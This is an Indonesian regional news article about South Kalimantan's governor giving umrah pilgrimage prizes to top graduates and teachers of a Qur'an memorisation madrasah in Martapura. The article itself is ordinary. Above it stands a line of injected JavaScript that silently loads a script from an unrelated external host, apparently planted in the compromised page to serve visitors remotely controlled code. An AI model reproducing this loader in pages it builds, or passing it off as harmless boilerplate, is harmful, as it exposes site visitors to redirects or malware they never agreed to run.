(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – H Sahbirin Noor memberi kejutan bagi 5 santri lulusan terbaik dan 2 guru pengajar dari Madrasah Darussalam Tahfidz dan Ilmu Al Qur’an Martapura.
Kejutan itu berupa hadiah ibadah umrah sebagai bentuk perhatian Paman Birin -sapaan akrab Gubernur Kalsel- secara pribadi saat kelulusan Mustawa 9 Angkatan X Madrasah Darussalam Tahfidz dan Ilmu Al Qur’an Martapura, di Kiram, Kabupaten Banjar, Kamis (2/6/2022) siang.
Paman Birin mengatakan, hadiah ini merupakan bentuk apresiasi kepada para santri yang mendedikasikan dirinya untuk menghafal dan mempelajari Al Qur’an.
Hadiah umrah secara langsung diberikan kepada da 5 santri terbaik kelulusan Mustawa 9 Angkatan X Madrasah Darussalam Tanfiz dan Ilmu Al Qur’an.
Selain kepada lulusan terbaik, Paman Birin juga memberikan hadiah umrah untuk 2 guru pengajar.
Baca juga : Segera Dibangun Asrama Santri Madrasah Darussalam Tahfiz dan Ilmu Al Qur’an Martapura
Mendapatkan kejutan dari Paman Birin, Pimpinan Madrasah Da¬rus¬salam Tahfiz dan Ilmu Al Qur’an Martapura, KH Muhammad Wildan Salman atau Tuan Guru Wildan menyampaikan terima kasih.
“Kali ini kejutan dari gubernur kesayangan kita semua bahwa Paman Birin secara pribadi memberikan hadiah umrah untuk 5 santri terbaik dari 53 santri yang lulus dan 2 orang guru pengajar,” kata Tuan Guru Wildan.
Disampaikan Tuan Guru Wildan, hadiah umrah ini merupakan yang pertama dilakukan di lingkungan keagamaan.
Al Hafizh Muhammad Hasimi, salah satu dari lima santri lulusan terbaik mengaku, tidak menyangka akan mendapatkan hadiah umrah.
Baca juga : Sertijab Plt Kepala BPPRD Kapuas, Ini Kata Sekda Septedy
“Tidak menyangka bisa menempati rangking pertama, kami tidak tahu nilai kami, baru hari ini diumumkan, ujianya kemarin juga dipercepat. Alhamdulillah mendapatkan hadiah umrah,” kata Muhammad Hasimi.
Wisuda di alam terbuka seperti di Kiram ini merupakan sesuatu yang baru. “Ini merupakan sesuatu yang baru, biasanya tempatnya cuma di madrasah,” ucap santri sudah belajar selama 10 tahun.
Setelah wisuda dirinya diarahkan untuk melanjutkan pendidikan ke Pondok Pesantren Tebuireng, Jombang, Provinsi Jawa Timur
“Diarahkan guru, ke Pesantren Tebuireng Jombang, Jawa Timur,” ucapnya. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More
KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More
This website uses cookies.